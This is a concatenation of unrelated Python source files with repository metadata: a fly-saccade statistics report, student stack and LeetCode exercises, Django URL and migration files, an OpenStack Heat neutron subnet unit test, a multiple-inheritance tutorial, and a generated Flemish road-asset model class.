7d949b9f19e4c5c897b3aef76e604f2c0eee7112

/src-python/saccade_analysis/tammero_flydradb/report_axis_angle.py

88f17a3bd3e549f78714e134fbced84c944473c9

[]

no_license

AndreaCensi/saccade_analysis

d3fad3a1a406b97c4dcf9cdc82b9b2ce1fbf42df

71b87e9225b16317ffa9a581b3c62d8343fe7bfa

refs/heads/master

2016-09-11T06:49:22.254391

2011-12-20T06:39:30

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from contracts import contract from reprep import Report import numpy as np from ..markov import binomial_stats def create_report_axis_angle(id, desc, saccades): r = Report('axis_angle') # # axis_angle = saccades['axis_angle'] # saccade_angle = saccades['saccade_angle'] stats = statistics_distance_axis_angle(saccades, num_distance_intervals=10, axis_angle_bin_interval=10, axis_angle_bin_size=10 ) f = r.figure(cols=1) for i, section in enumerate(stats['distance_sections']): distance_min = section['distance_min'] distance_max = section['distance_max'] prob_left = section['prob_left'] prob_right = section['prob_right'] margin_left = section['margin_left'] margin_right = section['margin_right'] bin_centers = section['bin_centers'] num_saccades = section['num_saccades'] n = len(bin_centers) with r.data_pylab('section%d' % i) as pylab: el = np.zeros((2, n)) el[0, :] = +(margin_left[0, :] - prob_left) el[1, :] = -(margin_left[1, :] - prob_left) pylab.errorbar(bin_centers, prob_left, el, None, None, ecolor='g', label='left', capsize=8, elinewidth=1) er = np.zeros((2, n)) er[0, :] = +(margin_right[0, :] - prob_right) er[1, :] = -(margin_right[1, :] - prob_right) pylab.errorbar(bin_centers, prob_right, er, None, None, ecolor='r', label='right', capsize=8, elinewidth=1) pylab.plot(bin_centers, prob_left, 'g-', label='left') pylab.plot(bin_centers, prob_right, 'r-', label='right') pylab.xlabel('axis angle (deg)') pylab.ylabel('probability of turning') pylab.title('Direction probability for distance in [%dcm,%dcm], %d saccades' % (distance_min * 100, distance_max * 100, num_saccades)) pylab.plot([0, 0], [0, 1], 'k-') pylab.axis([-180, 180, 0, 1]) pylab.legend() r.last().add_to(f) return r @contract(x='array[N]', direction='array[N]', x_bin_centers='array[K]', x_bin_size='>0') def compute_direction_statistics(x, x_bin_centers, x_bin_size, direction, alpha=0.01): K = len(x_bin_centers) t_prob_left = np.zeros(K) t_prob_right = np.zeros(K) t_margin_left = np.zeros((2, K)) t_margin_right = np.zeros((2, K)) for k in range(K): bin_center = x_bin_centers[k] inbin = np.logical_and(x <= bin_center + x_bin_size / 2, bin_center - x_bin_size / 2 <= x) dirs = direction[inbin] num = len(dirs) num_left = (dirs > 0).sum() num_right = (dirs < 0).sum() prob_left, prob_right, margin_left, margin_right = \ binomial_stats(num, num_left, num_right, alpha) t_prob_left[k] = prob_left t_prob_right[k] = prob_right t_margin_left[:, k] = margin_left t_margin_right[:, k] = margin_right return dict(bin_centers=x_bin_centers, prob_left=t_prob_left, prob_right=t_prob_right, margin_left=t_margin_left, margin_right=t_margin_right) def statistics_distance_axis_angle(saccades, num_distance_intervals, axis_angle_bin_interval, axis_angle_bin_size ): distance = saccades['distance_from_wall'] qs = np.linspace(0, 100, num_distance_intervals) # distance_edges = np.linspace(0, 1, distance_intervals) distance_edges = np.percentile(distance, qs.tolist()) distance_num_sections = len(distance_edges) - 1 distance_sections = [] for di in range(distance_num_sections): distance_min = distance_edges[di] distance_max = distance_edges[di + 1] select = np.logical_and(distance > distance_min, distance < distance_max) relevant_saccades = saccades[select] bin_centers = range(-180, 180 + axis_angle_bin_interval, axis_angle_bin_interval) statistics = compute_direction_statistics( x=relevant_saccades['axis_angle'], x_bin_centers=np.array(bin_centers), x_bin_size=axis_angle_bin_size, direction=relevant_saccades['sign']) statistics['num_saccades'] = len(relevant_saccades) statistics['distance_min'] = distance_min statistics['distance_max'] = distance_max distance_sections.append(statistics) return dict(distance_edges=distance_edges, distance_sections=distance_sections)

[ "andrea@cds.caltech.edu" ]

andrea@cds.caltech.edu

5b3ad54a4efaa9fbbbe546322a45748b042140c1

39b84306510530e39eb9d4087977ddd6b2ee203e

/self_assesment/self_assesment2/numericalStack.py

9b89874d425cc431c8b4a307eabb5975ea52bfef

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permissive

sowmyamanojna/BT3051-Data-Structures-and-Algorithms

2ff9753a02ce1d2bdb113791d308391df19cc2f6

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refs/heads/master

2022-12-31T02:02:23.566697

2020-09-12T06:59:03

241,184,510

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761

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class Stack(): def __init__(self, val = []): self._value = val # print("Stack initialised!") def push(self, x): self._value.append(x) # print ("{} is pushed into stack!!!".format(x)) return self def pop(self): if len(self._value) > 0: self._value = self._value[1:] # print ("Values popped") else: print ("Underflow - List is EMPTY!!!") return self def __len__(self): val = 0 for i in self._value: val += 1 return val def is_Empty(self): if len(self) == 0: print ("The list is EMPTY!!!") return True else: # print ("List isn't empty") return False def __repr__(self): string = "" for i in self._value: string = string + str(i) + " " return string def top(self): return self._value[0]

[ "sowmyamanojna@gmail.com" ]

sowmyamanojna@gmail.com

9e66b3c83031a5eb2d06a77c03098a1f9a74c905

b332e9e5b63db27b23250ddbbb85b470ceaf92a1

/List/largestNumber.py

c4a880a23fc70378f9c187caa0e5aedc995c8561

[]

no_license

huangketsudou/leetcode_python

66fcc695b0a4f94a35cc52e161ae4bfdb1138dc2

e983f42d245b69f9bddd9855f51ee59648a2039e

refs/heads/master

2021-08-07T23:25:45.532458

2020-08-23T06:15:22

214,324,229

2

0

null

2020-04-12T14:40:47

2019-10-11T02:16:43

Python

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from typing import List class Solution: def largestNumber(self, cost: List[int], target: int) -> str: dp = [[] for _ in range(target+1)] for i in range(1, target + 1): for j, c in enumerate(cost): if i == c: dp[i]=self.cmp(dp[i],[j+1]).copy() elif i > c: if len(dp[i - c]): b = dp[i - c].copy() b.append(j + 1) dp[i] = self.cmp(dp[i], b).copy() for i in dp: print(i) return ''.join(map(str,dp[-1])) def cmp(self, a, b): a.sort(reverse=True) b.sort(reverse=True) if len(a) == len(b): return a if a > b else b elif len(a) < len(b): return b else: return a class Solution: #@SQRPI def largestNumber(self, cost: List[int], tar: int) -> str: mi = min(cost) @lru_cache(None) def dp(target): # target 下的最大值 if target == 0: return 0 if target < mi: return -float('inf') res = -float('inf') for x in range(9): res = max(dp(target - cost[x])*10 + x + 1, res) return res res = dp(tar) return str(res) if res > 0 else "0" class Solution: def largestNumber(self, cost: List[int], target: int) -> str: dp = [-1 for j in range(target + 1)] dp[0] = 0 for i in range(8, -1, -1): for j in range(cost[i], target + 1): if dp[j - cost[i]] < 0: continue dp[j] = max(dp[j], dp[j - cost[i]] * 10 + (i + 1)) if dp[target] >= 0: return str(dp[target]) else: return '0' k = Solution() print(k.largestNumber([1,1,1,1,1,1,1,1,1], 5000))

[ "1941161938@qq.com" ]

1941161938@qq.com

781c73109fd82253400de9f5d6a1a1933c3ea874

84297380d00453e71f65c591dca046bd41a32184

/ABC/ABC158/B.py

908f7549a2b440db2e70bbd04547fea89beaef38

[]

no_license

daiki1998/atcoder

a5ef25245b1bbc3a5e33044846a3c16213603bd3

d864a7cb11e41dbf6a691f5d128fdfe122b07046

refs/heads/main

2023-03-06T22:55:29.863716

2021-02-18T12:01:24

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N, A, B = map(int, input().split()) res, amari = N // (A+B), N % (A+B) print(res*A + min(amari, A))

[ "shimokawadaiki@shimokawadaikinoMacBook-Pro.local" ]

shimokawadaiki@shimokawadaikinoMacBook-Pro.local

f02286ccdd2739bd33ad6702398683ffcba4ff5d

402f90865d7de0bb7273c8e03de131d19c2e4318

/django_fullstack/urls.py

fee9fca5f611831511b2f3977956afedb1796883

[]

no_license

yavorm-tech/django-fullstack

bc83b5687c767304bf6b5904ee207fd269ea4210

654c034dd438678faeeedaed30f618ee0ceccebe

refs/heads/master

2022-11-17T01:14:28.843249

2020-06-30T05:47:29

275,743,244

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"""django_fullstack URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path, include from rest_framework.authtoken.views import obtain_auth_token urlpatterns = [ path('admin/', admin.site.urls), path('demo/', include('demo.urls')), path('auth/', obtain_auth_token) ]

[ "=" ]

=

9a6e758c8f2fbb8e0949a60809a56b779c857f86

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/heat/heat/tests/neutron/test_neutron_subnet.py

b7962c3a6e84ffa2a768b1113132dc49cecc7188

[ "Apache-2.0" ]

permissive

yizhongyin/OpenstackLiberty

6f2f0ff95bfb4204f3dbc74a1c480922dc387878

f705e50d88997ef7473c655d99f1e272ef857a82

refs/heads/master

2020-12-29T02:44:01.555863

2017-03-02T06:43:47

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2020-07-24T00:49:34

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# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mox from neutronclient.common import exceptions as qe from neutronclient.neutron import v2_0 as neutronV20 from neutronclient.v2_0 import client as neutronclient import six from heat.common import exception from heat.common import template_format from heat.engine.cfn import functions as cfn_funcs from heat.engine.resources.openstack.neutron import subnet from heat.engine import rsrc_defn from heat.engine import scheduler from heat.tests import common from heat.tests import utils neutron_template = ''' heat_template_version: 2015-04-30 description: Template to test subnet Neutron resource resources: net: type: OS::Neutron::Net properties: name: the_net tenant_id: c1210485b2424d48804aad5d39c61b8f shared: true dhcp_agent_ids: - 28c25a04-3f73-45a7-a2b4-59e183943ddc sub_net: type: OS::Neutron::Subnet properties: network: { get_resource : net} tenant_id: c1210485b2424d48804aad5d39c61b8f ip_version: 4 cidr: 10.0.3.0/24 allocation_pools: - start: 10.0.3.20 end: 10.0.3.150 host_routes: - destination: 10.0.4.0/24 nexthop: 10.0.3.20 dns_nameservers: - 8.8.8.8 port: type: OS::Neutron::Port properties: device_id: d6b4d3a5-c700-476f-b609-1493dd9dadc0 name: port1 network: { get_resource : net} fixed_ips: - subnet: { get_resource : sub_net } ip_address: 10.0.3.21 port2: type: OS::Neutron::Port properties: name: port2 network: { get_resource : net} router: type: OS::Neutron::Router properties: l3_agent_id: 792ff887-6c85-4a56-b518-23f24fa65581 router_interface: type: OS::Neutron::RouterInterface properties: router_id: { get_resource : router } subnet: { get_resource : sub_net } gateway: type: OS::Neutron::RouterGateway properties: router_id: { get_resource : router } network: { get_resource : net} ''' neutron_template_deprecated = neutron_template.replace( 'neutron', 'neutron_id').replace('subnet', 'subnet_id') class NeutronSubnetTest(common.HeatTestCase): def setUp(self): super(NeutronSubnetTest, self).setUp() self.m.StubOutWithMock(neutronclient.Client, 'create_subnet') self.m.StubOutWithMock(neutronclient.Client, 'delete_subnet') self.m.StubOutWithMock(neutronclient.Client, 'show_subnet') self.m.StubOutWithMock(neutronclient.Client, 'update_subnet') self.m.StubOutWithMock(neutronV20, 'find_resourceid_by_name_or_id') def create_subnet(self, t, stack, resource_name): resource_defns = stack.t.resource_definitions(stack) rsrc = subnet.Subnet('test_subnet', resource_defns[resource_name], stack) return rsrc def test_subnet(self): update_props = {'subnet': { 'dns_nameservers': ['8.8.8.8', '192.168.1.254'], 'name': 'mysubnet', 'enable_dhcp': True, 'host_routes': [{'destination': '192.168.1.0/24', 'nexthop': '194.168.1.2'}], "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.100"}, {"start": "10.0.3.110", "end": "10.0.3.200"}]}} t = self._test_subnet(u_props=update_props) neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'None' ).AndReturn('None') stack = utils.parse_stack(t) rsrc = self.create_subnet(t, stack, 'sub_net') self.m.ReplayAll() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('91e47a57-7508-46fe-afc9-fc454e8580e1', ref_id) self.assertIsNone(rsrc.FnGetAtt('network_id')) self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', rsrc.FnGetAtt('network_id')) self.assertEqual('8.8.8.8', rsrc.FnGetAtt('dns_nameservers')[0]) # assert the dependency (implicit or explicit) between the ports # and the subnet self.assertIn(stack['port'], stack.dependencies[stack['sub_net']]) self.assertIn(stack['port2'], stack.dependencies[stack['sub_net']]) props = { "name": 'mysubnet', "network_id": cfn_funcs.ResourceRef(stack, "get_resource", "net"), "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "ip_version": 4, "cidr": "10.0.3.0/24", "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.100"}, {"start": "10.0.3.110", "end": "10.0.3.200"}], "dns_nameservers": ["8.8.8.8", "192.168.1.254"], "host_routes": [ {"destination": "192.168.1.0/24", "nexthop": "194.168.1.2"} ] } update_snippet = rsrc_defn.ResourceDefinition(rsrc.name, rsrc.type(), props) scheduler.TaskRunner(rsrc.update, update_snippet)() self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) self.m.VerifyAll() def test_subnet_deprecated(self): t = self._test_subnet(resolve_neutron=False) stack = utils.parse_stack(t) rsrc = self.create_subnet(t, stack, 'sub_net') neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'None' ).AndReturn('None') self.m.ReplayAll() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('91e47a57-7508-46fe-afc9-fc454e8580e1', ref_id) self.assertIsNone(rsrc.FnGetAtt('network_id')) self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', rsrc.FnGetAtt('network_id')) self.assertEqual('8.8.8.8', rsrc.FnGetAtt('dns_nameservers')[0]) # assert the dependency (implicit or explicit) between the ports # and the subnet self.assertIn(stack['port'], stack.dependencies[stack['sub_net']]) self.assertIn(stack['port2'], stack.dependencies[stack['sub_net']]) self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) self.m.VerifyAll() def _test_subnet(self, resolve_neutron=True, u_props=None): default_update_props = {'subnet': { 'dns_nameservers': ['8.8.8.8', '192.168.1.254'], 'name': 'mysubnet', 'enable_dhcp': True, 'host_routes': [{'destination': '192.168.1.0/24', 'nexthop': '194.168.1.2'}]}} update_props = u_props if u_props else default_update_props neutronclient.Client.create_subnet({ 'subnet': { 'name': utils.PhysName('test_stack', 'test_subnet'), 'network_id': u'None', 'dns_nameservers': [u'8.8.8.8'], 'allocation_pools': [ {'start': u'10.0.3.20', 'end': u'10.0.3.150'}], 'host_routes': [ {'destination': u'10.0.4.0/24', 'nexthop': u'10.0.3.20'}], 'ip_version': 4, 'cidr': u'10.0.3.0/24', 'tenant_id': 'c1210485b2424d48804aad5d39c61b8f', 'enable_dhcp': True } }).AndReturn({ "subnet": { "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "enable_dhcp": True, "gateway_ip": "10.0.3.1", "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "ip_version": 4, "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f" } }) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndRaise( qe.NeutronClientException(status_code=404)) sn = { "subnet": { "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "gateway_ip": "10.0.3.1", 'host_routes': [ {'destination': u'10.0.4.0/24', 'nexthop': u'10.0.3.20'}], "ip_version": 4, "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "enable_dhcp": True, } } neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn(sn) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn(sn) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn(sn) # Delete script neutronclient.Client.delete_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndReturn(None) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndRaise(qe.NeutronClientException(status_code=404)) neutronclient.Client.delete_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndRaise(qe.NeutronClientException(status_code=404)) if resolve_neutron: t = template_format.parse(neutron_template) # Update script neutronclient.Client.update_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1', update_props) else: t = template_format.parse(neutron_template_deprecated) return t def test_subnet_disable_dhcp(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'None' ).AndReturn('None') neutronclient.Client.create_subnet({ 'subnet': { 'name': utils.PhysName('test_stack', 'test_subnet'), 'network_id': u'None', 'dns_nameservers': [u'8.8.8.8'], 'allocation_pools': [ {'start': u'10.0.3.20', 'end': u'10.0.3.150'}], 'host_routes': [ {'destination': u'10.0.4.0/24', 'nexthop': u'10.0.3.20'}], 'ip_version': 4, 'enable_dhcp': False, 'cidr': u'10.0.3.0/24', 'tenant_id': 'c1210485b2424d48804aad5d39c61b8f' } }).AndReturn({ "subnet": { "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "enable_dhcp": False, "gateway_ip": "10.0.3.1", "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "ip_version": 4, "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f" } }) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn({ "subnet": { "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "gateway_ip": "10.0.3.1", "ip_version": 4, "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "enable_dhcp": False, } }) neutronclient.Client.delete_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndReturn(None) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_template) t['resources']['sub_net']['properties']['enable_dhcp'] = 'False' stack = utils.parse_stack(t) rsrc = self.create_subnet(t, stack, 'sub_net') self.m.ReplayAll() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('91e47a57-7508-46fe-afc9-fc454e8580e1', ref_id) self.assertIs(False, rsrc.FnGetAtt('enable_dhcp')) scheduler.TaskRunner(rsrc.delete)() self.m.VerifyAll() def test_null_gateway_ip(self): p = {} subnet.Subnet._null_gateway_ip(p) self.assertEqual({}, p) p = {'foo': 'bar'} subnet.Subnet._null_gateway_ip(p) self.assertEqual({'foo': 'bar'}, p) p = { 'foo': 'bar', 'gateway_ip': '198.51.100.0' } subnet.Subnet._null_gateway_ip(p) self.assertEqual({ 'foo': 'bar', 'gateway_ip': '198.51.100.0' }, p) p = { 'foo': 'bar', 'gateway_ip': '' } subnet.Subnet._null_gateway_ip(p) self.assertEqual({ 'foo': 'bar', 'gateway_ip': None }, p) # This should not happen as prepare_properties # strips out None values, but testing anyway p = { 'foo': 'bar', 'gateway_ip': None } subnet.Subnet._null_gateway_ip(p) self.assertEqual({ 'foo': 'bar', 'gateway_ip': None }, p) def test_ipv6_subnet(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'None' ).AndReturn('None') neutronclient.Client.create_subnet({ 'subnet': { 'name': utils.PhysName('test_stack', 'test_subnet'), 'network_id': u'None', 'dns_nameservers': [u'2001:4860:4860::8844'], 'ip_version': 6, 'enable_dhcp': True, 'cidr': u'fdfa:6a50:d22b::/64', 'tenant_id': 'c1210485b2424d48804aad5d39c61b8f', 'ipv6_address_mode': 'slaac', 'ipv6_ra_mode': 'slaac' } }).AndReturn({ "subnet": { "allocation_pools": [ {"start": "fdfa:6a50:d22b::2", "end": "fdfa:6a50:d22b:0:ffff:ffff:ffff:fffe"}], "cidr": "fd00:1::/64", "enable_dhcp": True, "gateway_ip": "fdfa:6a50:d22b::1", "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "ip_version": 6, "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", 'ipv6_address_mode': 'slaac', 'ipv6_ra_mode': 'slaac' } }) self.m.ReplayAll() t = template_format.parse(neutron_template) props = t['resources']['sub_net']['properties'] props.pop('allocation_pools') props.pop('host_routes') props['ip_version'] = 6 props['ipv6_address_mode'] = 'slaac' props['ipv6_ra_mode'] = 'slaac' props['cidr'] = 'fdfa:6a50:d22b::/64' props['dns_nameservers'] = ['2001:4860:4860::8844'] stack = utils.parse_stack(t) rsrc = self.create_subnet(t, stack, 'sub_net') scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) rsrc.validate() self.m.VerifyAll() def test_ipv6_validate_ra_mode(self): t = template_format.parse(neutron_template) props = t['resources']['sub_net']['properties'] props['ipv6_address_mode'] = 'dhcpv6-stateful' props['ipv6_ra_mode'] = 'slaac' props['ip_version'] = 6 stack = utils.parse_stack(t) rsrc = stack['sub_net'] ex = self.assertRaises(exception.StackValidationFailed, rsrc.validate) self.assertEqual("When both ipv6_ra_mode and ipv6_address_mode are " "set, they must be equal.", six.text_type(ex)) def test_ipv6_validate_ip_version(self): t = template_format.parse(neutron_template) props = t['resources']['sub_net']['properties'] props['ipv6_address_mode'] = 'slaac' props['ipv6_ra_mode'] = 'slaac' props['ip_version'] = 4 stack = utils.parse_stack(t) rsrc = stack['sub_net'] ex = self.assertRaises(exception.StackValidationFailed, rsrc.validate) self.assertEqual("ipv6_ra_mode and ipv6_address_mode are not " "supported for ipv4.", six.text_type(ex)) def test_deprecated_network_id(self): template = """ heat_template_version: 2015-04-30 resources: net: type: OS::Neutron::Net properties: name: test subnet: type: OS::Neutron::Subnet properties: network_id: { get_resource: net } cidr: 10.0.0.0/24 """ t = template_format.parse(template) stack = utils.parse_stack(t) rsrc = stack['subnet'] stack.create() self.assertEqual(cfn_funcs.ResourceRef(stack, 'get_resource', 'net'), rsrc.properties.get('network')) self.assertIsNone(rsrc.properties.get('network_id'))

[ "yizhongyin@os-easy.com" ]

yizhongyin@os-easy.com

432f9038e0b00672bb1870647b074519e43c0350

5462142b5e72cb39bea5b802dd46f55357c4ea84

/homework_zero_class/lesson13/多重继承-times_3.py

be4ae74b66504ab6fd49cf872d6296e34b224f30

[]

no_license

qqmadeinchina/myhomeocde

a0996ba195020da9af32613d6d2822b049e515a0

291a30fac236feb75b47610c4d554392d7b30139

refs/heads/master

2023-03-23T05:28:53.076041

2020-08-24T08:39:00

null

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null

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Python

false

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# -*- coding: utf-8 -*- # @time :2020/8/3 14:45 # @Author:老萝卜 # @file:多重继承-times_3 # @Software:%{PRODUICT_NAME}多重继承-times_3.py class A(object): def test(self): print("A......") def test1(self): print("A-test1......") def test3(self): print("A-test3......") class B(object): def test(self): print("B......") def test2(self): print("B-test2......") class C(B): pass # __bases__ 可以获取当前类所有的父类 print(C.__bases__) print(B.__bases__) # (<class '__main__.B'>,) # (<class 'object'>,) # Python中是支持多重继承的，也就是我们可以为一个类同时指定多个父类 # 可以在类名后的()中添加多个类，实现多重继承 # 多重继承，会使子类同时拥有多个父类，并且会获取到所有父类的方法 class C(A,B): pass print(C.__bases__) # (<class '__main__.A'>, <class '__main__.B'>) # 如果多个父类中有重名的方法，则会先去第一个父类中寻找，然后第二个，在然后第三个... class C(B,A): pass c= C() c.test() c.test1() c.test2() c.test3() # B...... # A-test1...... # B-test2...... # A-test3......

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# coding=utf-8 from OTLMOW.OTLModel.BaseClasses.OTLAttribuut import OTLAttribuut from OTLMOW.OTLModel.Classes.Abstracten.VegetatieElement import VegetatieElement from OTLMOW.OTLModel.Datatypes.BooleanField import BooleanField from OTLMOW.OTLModel.Datatypes.KwantWrdInKubiekeMeter import KwantWrdInKubiekeMeter from OTLMOW.OTLModel.Datatypes.KwantWrdInVierkanteMeter import KwantWrdInVierkanteMeter from OTLMOW.GeometrieArtefact.VlakGeometrie import VlakGeometrie # Generated with OTLClassCreator. To modify: extend, do not edit class Plantbakvorm(VegetatieElement, VlakGeometrie): """Beplanting die niet in volle grond werd aangebracht, maar in bakvorm.""" typeURI = 'https://wegenenverkeer.data.vlaanderen.be/ns/onderdeel#Plantbakvorm' """De URI van het object volgens https://www.w3.org/2001/XMLSchema#anyURI.""" def __init__(self): VegetatieElement.__init__(self) VlakGeometrie.__init__(self) self._isBereikbaar = OTLAttribuut(field=BooleanField, naam='isBereikbaar', label='is bereikbaar', objectUri='https://wegenenverkeer.data.vlaanderen.be/ns/onderdeel#Plantbakvorm.isBereikbaar', definition='Duidt aan of de plantbakvorm door de mens fysiek bereikbaar is zonder hulpmiddelen.', owner=self) self._isVerplaatsbaar = OTLAttribuut(field=BooleanField, naam='isVerplaatsbaar', label='is verplaatsbaar', objectUri='https://wegenenverkeer.data.vlaanderen.be/ns/onderdeel#Plantbakvorm.isVerplaatsbaar', definition='Duidt aan of de plantbakvorm al dan niet verplaatsbaar is en dus niet permanent verankerd werd met het aardoppervlak.', owner=self) self._oppervlakteBak = OTLAttribuut(field=KwantWrdInVierkanteMeter, naam='oppervlakteBak', label='oppervlakte', objectUri='https://wegenenverkeer.data.vlaanderen.be/ns/onderdeel#Plantbakvorm.oppervlakteBak', definition='De afmetingen van de plantbak in vierkante meter.', owner=self) self._volume = OTLAttribuut(field=KwantWrdInKubiekeMeter, naam='volume', label='volume', objectUri='https://wegenenverkeer.data.vlaanderen.be/ns/onderdeel#Plantbakvorm.volume', definition='De inhoud of grootte van de plantbakvorm in de ruimte in kubieke meter.', owner=self) @property def isBereikbaar(self): """Duidt aan of de plantbakvorm door de mens fysiek bereikbaar is zonder hulpmiddelen.""" return self._isBereikbaar.get_waarde() @isBereikbaar.setter def isBereikbaar(self, value): self._isBereikbaar.set_waarde(value, owner=self) @property def isVerplaatsbaar(self): """Duidt aan of de plantbakvorm al dan niet verplaatsbaar is en dus niet permanent verankerd werd met het aardoppervlak.""" return self._isVerplaatsbaar.get_waarde() @isVerplaatsbaar.setter def isVerplaatsbaar(self, value): self._isVerplaatsbaar.set_waarde(value, owner=self) @property def oppervlakteBak(self): """De afmetingen van de plantbak in vierkante meter.""" return self._oppervlakteBak.get_waarde() @oppervlakteBak.setter def oppervlakteBak(self, value): self._oppervlakteBak.set_waarde(value, owner=self) @property def volume(self): """De inhoud of grootte van de plantbakvorm in de ruimte in kubieke meter.""" return self._volume.get_waarde() @volume.setter def volume(self, value): self._volume.set_waarde(value, owner=self)

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jattoabdul/jatto-portfolio

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# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-10-18 09:53 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Categories', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(db_index=True, max_length=50, unique=True)), ('slug', models.SlugField(unique=True)), ], options={ 'ordering': ['name'], 'verbose_name_plural': 'Categories', }, ), migrations.CreateModel( name='Posts', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=150, unique=True, verbose_name='Post Title')), ('slug', models.SlugField(max_length=150, unique=True, verbose_name='URL')), ('date', models.DateField(auto_now=True)), ('time', models.TimeField(auto_now=True)), ('posted', models.DateTimeField(auto_now_add=True, db_index=True)), ('meta_description', models.CharField(blank=True, max_length=500, verbose_name='Meta Description')), ('meta_keywords', models.CharField(blank=True, max_length=250, verbose_name='Meta Keywords')), ('body', models.TextField()), ('published', models.BooleanField(default=None)), ('author', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='blog.Categories')), ], options={ 'ordering': ['-date'], 'verbose_name_plural': 'Posts', }, ), ]

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/venv/Lib/site-packages/twisted/pair/rawudp.py

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refs/heads/master

2020-05-07T22:22:29.878944

